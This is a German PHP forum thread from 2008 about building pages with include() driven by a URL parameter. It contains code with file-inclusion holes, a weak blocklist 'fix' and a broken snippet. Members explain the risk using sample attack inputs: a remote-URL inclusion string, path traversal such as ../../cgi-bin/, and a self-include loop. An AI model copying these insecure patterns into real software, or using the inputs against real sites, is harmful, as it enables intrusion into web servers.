1. Dashboard
  2. Artikel
  3. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team
    4. Mitgliedersuche
  4. Forum
    1. Unerledigte Themen
  • Anmelden
  • Registrieren
  • Suche
Dieses Thema
  1. HTML - Webmaster Forum
  2. Programmierung - Entwickler Forum
  3. PHP Forum - Apache - CGI - Perl - JavaScript und Co.

PHP Include

  • Foulfang
  • 21. April 2008 um 23:22
  • Foulfang
    Großmeister(in)
    Beiträge
    412
    • 21. April 2008 um 23:22
    • #1

    Hi

    Möchte eine Seite kreieren aber da mein alter PC hinüber ist, hab ich mein Tutorial zum Thema PHP Include nicht mehr zur Hand. Vielleicht könnt ihr mir auf die Sprünge helfen. Ich möchte eine Seite machen ohne Frames, halt mit Include. Nun finde ich im Net nur das falsche Zeug. Es ist ja so dass man die Seite praktisch in 3 Teile aufteilt: Header, Inhalt und Footer. Und mit den Links kann man die Inhalt-Seite definieren. So:

    Code
    [url='index.php?show=main']Home[/url]

    Dann öffnet sich die Main.php in der Index.php

    Das ist leider alles was ich noch weiss. Kann mir vielleicht jemand dieses PHP-Incude posten, bzw. mir weiterhelfen?

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 22. April 2008 um 00:32
    • #2

    1.Forensuche, hattmer schon tausendmal

    2.

    Code
    <?
    if(isset($_GET['seite'])) {
    	if(strpos($_GET['seite'], "http://") !== FALSE || strpos($_GET['seite'], "../") !== FALSE) {
    		die("Die Seite existiert nicht");
    	}
    	else {
    		if(file_exists("./inc/".$_GET['seite'].".php")) {
    			include"./inc/".$_GET['seite'].".php";
    		}
    		else {
    			include"./inc/Startseite.php";
    		}
    	}
    }
    else {
    	include"./inc/Startseite.php";
    }
    
    
    ?>
    Alles anzeigen

    Gute Nacht,
    Jojo


  • driver
    Forum Guru
    Reaktionen
    6
    Beiträge
    20.727
    • 22. April 2008 um 07:44
    • #3

    andere alternative wäre:

    PHP
    <?php
       $section = isset($_GET['section']) ? $_GET['section'] : "index";
    
       switch ($section)
       {
    		case "index"				: include ("index.php");      				     break;
    		case "test"				 : include ("test.php");					break;
        }
    ?>

    hier musst halt jede seite nochmal angeben, während du bei jojo dein seitennamen
    schon übergibst und dann in den dateinamen einbindest...

    >> die icq-schreiberlinge bitte dies hier beachten

    [Blockierte Grafik: http://www.devil-driver.de/stuff/forum-banner.png]

    1679 entdeckte Gottfried Wilhelm Leibniz das Binärsystem, bei einem Gespräch mit seiner Mutter: "Ja..., Nein..., Nein..., Nein..., Ja..., Ja..., Nein..."

  • Foulfang
    Großmeister(in)
    Beiträge
    412
    • 22. April 2008 um 10:27
    • #4

    Danke. Habs nun anders gemacht:

    Link:

    Link1


    Inhalt:

    <?php
    $seite = $_GET['seite'];
    if (empty($seite)) { $seite = 'home'; }
    include( $seite.'.php');
    ?>

    Hat sich also erledigt, pls close. :)

  • No0ob
    Kaiserliche Hoheit
    Beiträge
    1.500
    • 22. April 2008 um 17:19
    • #5

    Das ist die unsicherste Variante, die du hättest wählen können

  • Foulfang
    Großmeister(in)
    Beiträge
    412
    • 23. April 2008 um 07:50
    • #6
    Zitat von No0ob

    Das ist die unsicherste Variante, die du hättest wählen können


    Inwiefern denn?

    Muss sagen, kenn mich mit PHP nicht wirklich aus aber diese Methode klappt bisher ganz gut unter allen getesteten Browsern.

  • No0ob
    Kaiserliche Hoheit
    Beiträge
    1.500
    • 23. April 2008 um 08:54
    • #7

    Weil so jede Datei eingebunden werden kann, die im Parameter übergeben wird.

  • Bandit
    Gast
    • 23. April 2008 um 09:11
    • #8

    Wenn dein Server includes per URL zulässt, dann kann man z.B. das per Url dranhängen:

    Code
    site=http://www.blablabla.ru/ich_beinhalte_boesen_code


    Oder den Server ein bischen quälen:

    Code
    site=index
  • Foulfang
    Großmeister(in)
    Beiträge
    412
    • 23. April 2008 um 10:19
    • #9

    Ok danke, ich werde dann jojo's Variante nehmen. ;)

    Gruss,
    Deku

    EDIT: Ich verstehe zwar immer noch nicht was an der anderen Variante unsicher sein soll?? Ich meine, WER soll den eine Datei includen können? Außer mir selbst kann das doch niemand sonst machen.

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 23. April 2008 um 11:20
    • #10

    aber natürlich kann das jeder, probiers doch einfach mal aus.
    Nimm deinen Code und rufe im Browser was auf in der Form:

    Code
    [url]www.deineDomain.de?seite=index[/url]

    Ein schöner Timeout wird das, und das kann dann natürlich jeder User machen, der deine Seite besucht, denn der kann ja im Browser aufrufen, was er will.

    Gruß,
    Jojo


  • Thonixx
    Gast
    • 23. April 2008 um 19:57
    • #11

    Hmm das Problem hab ich genau durchstudiert. Hier die gute Lösung:

    PHP
    <?php
    
    
    $file = "daten/".$_GET["seite"];
    
    
    if(file_exists($$file)) include $file;
    else( echo "ERROR 404");
    
    
    ?>
    Alles anzeigen

    Da kann man eigentlich nichts Falsches einbinden lassen. Da der Parameter $seite immer im Ordner "daten" sucht. Das heisst bei ner normalen URL würd das File nicht existieren. Und index geht, aber das index wär dann im Ordner "daten" also nicht die Hauptindexseite.

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 23. April 2008 um 20:15
    • #12

    falsch!

    Code
    [url='index.php?seite=../index']The Loop![/url]


  • Thonixx
    Gast
    • 23. April 2008 um 20:51
    • #13

    Ja aber geht nicht, denn PHP setzt doch ein:

    daten/../index

    nicht?


    edit: S*** geht nicht.

    Aber so? (noch hinzu)

    Code
    if($seite == "../index") echo "NOT ALLOWED!";
    elseif(file_exists($file)) include $file;
    else( echo "error");
  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 23. April 2008 um 23:11
    • #14

    ahja, und wie wärs damit:

    Code
    [url='www.deine-domain.de?seite=../../cgi-bin/']Willkommen im Scriptverzeichnis deines Webspaces[/url]


    ?


  • Thonixx
    Gast
    • 24. April 2008 um 12:08
    • #15

    Nö geht bei mir nicht. Probiers mal aus:

    http://www.wtd.firefox.bplaced.net/?uri=akab7

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 24. April 2008 um 13:32
    • #16

    Du verstehst das Problem nicht!
    Man kann relative Pfade übergeben, und somit in Bereiche deines Webspaces vordringen, die nicht für Besucher gedacht sind.
    Du musst $_GET auf diese relativen Pfadangaben prüfen, dass wollte ich dir damit sagen.

    Gruß,
    Jojo


  • Thonixx
    Gast
    • 24. April 2008 um 13:37
    • #17

    Ja ok aber deine Beispiele gehen bei mir nicht mehr. Hab das jetzt so gelöst:

    PHP
    <?php
    				$daten = array(
    								"akab7" => "****",
    								"jcg21" => "****",
    								"haham" => "****",
    								"hut4h" => "****",
    								"jreun" => "****",
    								"m3dbc" => "****",
    								"u3sma" => "****",
    								"tkl47" => "****");
    
    				$datei = "*******/".$daten[$x]."********";
    
    				if($x == "../index") echo "<p id=\"error\">NOT ALLOWED!</p>";
    				elseif(file_exists($datei))
    					include $datei;
    				else{
    					echo $error;}
    			?>
    Alles anzeigen
  • Bandit
    Gast
    • 24. April 2008 um 14:06
    • #18

    Man kann sich aber auch einen knoten programmierem :D

  • Thonixx
    Gast
    • 24. April 2008 um 14:32
    • #19

    Why????

Tags

  • browser
  • pc
  • links
  • teile
  • frames
  • code
  • php
  • datei
  • thema
  • inhalt
  • hand
  • index
  • sucht
  • empty
  • index.php
  • header
  • tutorial
  • include
  • footer
  • switch
  1. Datenschutzerklärung
  2. Impressum
Community-Software: WoltLab Suite™
  • Alles
  • Dieses Thema
  • Dieses Forum
  • Artikel
  • Seiten
  • Forum
  • Erweiterte Suche
Zitat speichern